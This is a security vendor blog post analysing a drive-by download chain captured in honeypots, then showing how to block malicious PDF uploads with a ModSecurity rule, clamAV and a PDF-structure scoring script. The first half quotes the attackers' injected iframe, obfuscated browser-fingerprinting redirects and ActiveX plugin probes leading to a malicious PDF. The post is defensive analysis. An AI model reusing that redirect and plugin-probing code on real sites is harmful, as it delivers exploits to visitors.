Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Advanced Topic of the Week: Preventing Malicious PDF File Uploads

Many reports have indicated that malicious PDFs that exploit flaws in Adobe's Acrobat Reader are the top client-side attack vectors. As indicated in many news stories and backed up by the WASC WHID real-time reporting, planting of malware on websites is a major problem for web site owners. The last thing that they want to do is to serve malicious code to their clients. There are many different methods for adding malicious code to web applications including:

Speaking from first hand knowledge gained from monitoring web-based honeypots, I can attest to the drive-by downloading methodology used in a majority of these attacks. They initially inject some small javascript/iframe snippet of code into the application and then they bounce the web web requests around until finally they send the malicious code.

Initial injection into the index.html page:

document.writeln("<iframe  src='' width='100' height='0'></iframe>");

This takes you to the 84.htm page which checks the browser's User-Agent string and then redirects the user to the appropriate following page:

<script language="javascript" src="" charset="gb2312"></script> <script> if(isFirefox=navigator.userAgent.indexOf("\x46\x69\x72\x65\x66\x6F\x78")>0) document.write("<iframe src=he.htm width=100 height=0></iframe>"); if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69\x65\x20\x37")==-1) document.write("<iframe width=100 height=0 src=test.htm></iframe>"); gggggg = "<iframe src=02.htm width=100 height=0></iframe>"; if(navigator.userAgent.toLowerCase().indexOf("\x6D\x73\x69\x65\x20\x37")>0) document.write(gggggg); document.write("<iframe src=pp.htm width=100 height=0></iframe>");</script> <script src=""></script> 

This then leads to the pp.htm page which checks for different browser plugins include AcroPDF:

<script> try{var a; var p=new ActiveXObject("AcroPDF.PDF.1");} catch(a){};  finally{if(a!="[object Error]"){document.write("<iframe width=100 height=0 src=p.htm></iframe>");}} try{var b; var ff=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");} catch(b){};  finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0 src=f.htm></iframe>");}} try{var c; var f=new ActiveXObject("OWC10.Spreadsheet");}catch(c){};  finally{if(c!="[object Error]"){aacc = "<iframe src=of.htm width=111 height=111></iframe>" setTimeout("document.write(aacc)", 10000 );}} function Game() { Hdmddd = "IERPCtl.IERPC"+"tl.1"; try { Gime = new ActiveXObject(Hdmddd); }catch(error){return;} Tellm = Gime.PlayerProperty("PRODUCTV"+"ERSION"); if(Tellm<="") document.write("<iframe width=100 height=0 src=r.htm></iframe>"); else document.write("<iframe width=100 height=0 src=r.html></iframe>"); } Game(); </script>

If your browser has the AcroPDF plugin, it will then be sent to the p.htm page which simply includes an iframe to download the final malicious pdf file called "pef.pdf":

<iframe src=pef.pdf width=0 height=0></iframe>

A quick check on the VirusTotal website lists the following data:

Antivirus Version Last Update Result
AhnLab-V3 2010.10.05.00 2010.10.04 -
AntiVir 2010.10.05 HEUR/HTML.Malware
Antiy-AVL 2010.10.05 -
Authentium 2010.10.05 PDF/Pidief.O
Avast 4.8.1351.0 2010.10.05 JS:ShellCode-B
Avast5 5.0.594.0 2010.10.05 JS:ShellCode-B
AVG 2010.10.05 -
BitDefender 7.2 2010.10.05 Exploit.PDF-JS.Gen
CAT-QuickHeal 11.00 2010.10.05 -
ClamAV 2010.10.05 BC.PDF.Parser-4.MalwareFound
Comodo 6290 2010.10.05 -
DrWeb 2010.10.05 Exploit.PDF.181
Emsisoft 2010.10.05 -
eSafe 2010.10.05 -
eTrust-Vet 36.1.7893 2010.10.05 -
F-Prot 2010.10.04 PDF/Pidief.O
F-Secure 9.0.15370.0 2010.10.05 Exploit.PDF-JS.Gen
Fortinet 2010.10.05 -
GData 21 2010.10.05 Exploit.PDF-JS.Gen
Ikarus T3. 2010.10.05 -
Jiangmin 13.0.900 2010.10.05 -
K7AntiVirus 9.63.2680 2010.10.05 -
Kaspersky 2010.10.05 Exploit.JS.Pdfka.ju
McAfee 5.400.0.1158 2010.10.05 -
McAfee-GW-Edition 2010.1C 2010.10.05 -
Microsoft 1.6201 2010.10.05 Exploit:JS/Mult.AG
NOD32 5506 2010.10.05 JS/Exploit.Pdfka.NKB
Norman 6.06.07 2010.10.05 JS/Shellcode.EP
nProtect 2010-10-05.02 2010.10.05 Exploit.PDF-JS.Gen
Panda 2010.10.05 -
PCTools 2010.10.02 Trojan.Generic
Prevx 3.0 2010.10.05 -
Rising 2010.09.30 -
Sophos 4.58.0 2010.10.05 Troj/PDFJS-CJ
Sunbelt 6990 2010.10.05 Exploit.PDF-JS.Gen (v)
SUPERAntiSpyware 2010.10.05 -
Symantec 20101.2.0.161 2010.10.05 Downloader
TheHacker 2010.10.04 -
TrendMicro 2010.10.05 -
TrendMicro-HouseCall 2010.10.05 -
VBA32 2010.10.05 -
ViRobot 2010.10.4.4074 2010.10.05 -
VirusBuster 2010.10.05 -


If you had not kept up with your Adobe Acrobat updates, or as it seems more and more frequently, if the badguys have 0-day PDF reader exploits, then your system will get pwned...

File Upload Abuse

While these attack vectors are prevalent, another vector that is often used is to abuse an applications own file upload capability to plant malicious files on the site for other clients to download later. Allowing clients to upload files to your web application can potentially cause big problems however many businesses require this functionality.

If you must allow for file uploads in your web application, I strongly encourage you to review the OWASP Unrestricted File Upload vulnerability page. While it is certainly possible to attack the web application platform itself, the salient point to highlight in this blog post is the following section:

Attacks on other systems

  • Upload .exe file into web tree - victims download trojaned executable
  • Upload virus infected file - victims' machines infected
  • Upload .html file containing script - victim experiences Cross-site Scripting (XSS)

This means that the end goal of the attack is to use the web applications own file upload mechanism in order to spread malicious files to other clients. So, the question them becomes "How can we analyze these file attachments being uploaded in order to prevent any malicious ones from making into our web application?"

Don't be fooled into thinking that this an easily solved question. Many business owners erroneously believe that you can use your standard AV software to scan the file. What they fail to grasp is the fact that AV software typically only scan OS leve files and these file attachments are usually transient in the HTTP transaction. They often traverse reverse proxy servers, load-balancers, etc... until they are finally stored inside a database in a blob format. OS level AV software scanning won't really help in this situation. So how can we do AV scanning of HTTP file attachment uploads?

ModSecurity's @inspectFile operator provides the capability to extract out file attachments so that they can be examined by OS level validation tools. Older versions of ModSecurity also include a perl script called that can be used to have clamAV scan the extracted file attachments. Keep in mind that you are not tied to using only clamAV. You can use any script/tool that you want to inspect a file's contents. In this example we are going to show using the @inspectFile operator in action.

In my modsecurity_crs_15_customrules.conf file, I add this example rule -

SecRule FILES_TMPNAMES "@inspectFile base_rules/" "phase:2,t:none,log,deny,msg:'Malicous File Attachment Identified.'"

I then need to update the file to adjust settings for my local system and call up the clamscan tool. Now, if a user uploads a malicious PDF file, such as the "pef.pdf" example I gathered from the web honeyopts, it can be inspected by our script. If we send a fie attachment request with the pef.pdf file to our web server with the new rule, we will get a 403 Forbidden and see the following in the Apache error_log:

[Tue Oct 05 15:10:39 2010] [error] [client] ModSecurity: Access denied with code 403 (phase 2). File "/usr/local/apache/logs/uploads//20101005-151033-TKt4KcCoAWwAAQi@E78AAABA-file-x1hBCw" rejected by the approver script "/usr/local/apache/conf/modsec_current/base_rules/": 0 clamscan: Exploit.PDF-72 [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"] [msg "Malicous File Attachment Identified."] [hostname "localhost"] [uri "/cgi-bin/fup.cgi"] [unique_id "TKt4KcCoAWwAAQi@E78AAABA"] 

Identifying Malicious PDFs Through Advanced PDF Structure Analysis

While clamAV is an adequate free open for AV scanning, the old adage holds true: You get what you pay for. PDF exploit development has advanced to such a degree that signature analysis along is not sufficient to identify malicious files. What is needed is a heuristic analysis of the PDF structure to identify malicious characteristics. It just so happens that one of my colleagues here on the Trustwave SpiderLabs Research Team, Rodrigo (@spookerlabs) Montoro has developed a really cool method based on this concept and he will be presenting it at the upcoming Toorcon conference. Check out his blog post that lists some rather surprisingly low detection rates for malicious PDFs from the AV software used with VirtualTotal. He created a script that checks various PDF structures and scores the components. Here is an example of running his script against a malicious PDF that clamAV did not trigger on:

Cross-Table must be bigger than 0 Suspect - Agenda.pdf with  xref 0  xref not equal startxref Suspect - Agenda.pdf with  xref = 0 / startxref = 2  One Page only PDF Suspect - Agenda.pdf with  /Page 1  ObjStm (possible Malware embedded) Detected Suspect - Agenda.pdf with  /ObjStm 5  AcroForm Detected Suspect - Agenda.pdf with  /AcroForm 1  EmbeddedFile Detected Suspect - Agenda.pdf with  /EmbeddedFile 9 
Agenda.pdf Malicious PDF Detected - Score: 16.6

So, if we want to apply this PDF analysis check against our uploaded files, we simply need to update the format of the script output for use with the ModSecurity @inspectFile operator. We need to make sure that the the first character is a "1" if the file is not malicious and a "0" if it is malicious. After plugging in the new script to my SecRule, here is what I get when trying to upload this new malicious PDF that was missed by clamAV:

[Tue Oct 05 16:45:49 2010] [error] [client] ModSecurity: Access denied with code 403 (phase 2). File "/usr/local/apache/logs/uploads//20101005-164547-TKuOe8CoAWwAAQtvFKgAAACA-file-k6mpjv" rejected by the approver script "/usr/local/apache/conf/modsec_current/base_rules/": 0 pdfscan:  Malicious PDF Detected - Score: 2.6 [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_15_customrules.conf"] [line "1"] [msg "Malicous PDF File Attachment Identified."] [hostname "localhost"] [uri "/cgi-bin/fup.cgi"] [unique_id "TKuOe8CoAWwAAQtvFKgAAACA"]

So as you can see, we can get more accurate results for identifying malicious PDF files uploaded vs. other AV software. OK, now before you ask, access to Rodrigo's PDF analysis script is not ready for public release. It will be released by Trustwave SpiderLabs at some point in the future.

Keep in mind that the @inspectFile operator is simply a type of API that will allow you to inspect file attachments. It is up to you to decide which type of program you would like to plug-in and use.

Latest SpiderLabs Blogs

Search & Spoof: Abuse of Windows Search to Redirect to Malware

Trustwave SpiderLabs has detected a sophisticated malware campaign that leverages the Windows search functionality embedded in HTML code to deploy malware. We found the threat actors utilizing a...

Read More

The Sentinel’s Watch: Building a Security Reporting Framework

Imagine being on shift as the guard of a fortress. Your job is to identify threats as they approach the perimeter. The more methods you have for detecting those threats, the better your chances of...

Read More

Fake Advanced IP Scanner Installer Delivers Dangerous CobaltStrike Backdoor

During a recent client investigation, Trustwave SpiderLabs found a malicious version of the Advanced IP Scanner installer, which contained a backdoored DLL module. Our client had been searching for...

Read More